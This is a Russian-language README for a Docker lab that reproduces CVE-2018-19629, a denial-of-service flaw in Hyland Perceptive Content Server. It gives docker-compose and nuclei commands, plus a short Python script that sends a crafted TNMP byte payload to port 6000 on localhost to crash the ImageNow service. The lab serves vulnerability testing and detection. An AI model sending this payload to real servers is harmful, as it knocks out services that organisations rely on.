Тестовая среда для CVE-2018-19629

Тестовая среда Docker для CVE-2018-19629 - отказ в обслуживании сервера Hyland Perceptive Content Server.

Детали уязвимости

Описание

Hyland Perceptive Content Server до версии 7.1.5 содержит уязвимость отказа в обслуживании, вызванную аварийным завершением службы ImageNow Server через TCP-соединение. Злоумышленники могут нарушить работу службы, отправляя специально созданные TCP-пакеты, содержащие последовательность заголовков TNMP.

Быстрый старт

# Запустите уязвимую среду
docker-compose up -d

# Проверьте, что он слушает
# (Возможно, понадобится netcat или аналогичный инструмент)
nc -zv localhost 6000

Тестирование с помощью Nuclei

# Тестируйте с помощью шаблона nuclei
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000

Ручная проверка

Вы можете вручную вызвать сбой с помощью Python:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()

Проверьте журналы, чтобы увидеть сбой:

docker logs -f imagenow-vuln

Вы должны увидеть: [!] CRITICAL: Recevied malicious 'TNMP' packet... после чего контейнер перезапустится.

Детали среды

• Порт: 6000 (TCP)
• Протокол: Пользовательский TCP (ImageNow)

Очистка

docker-compose down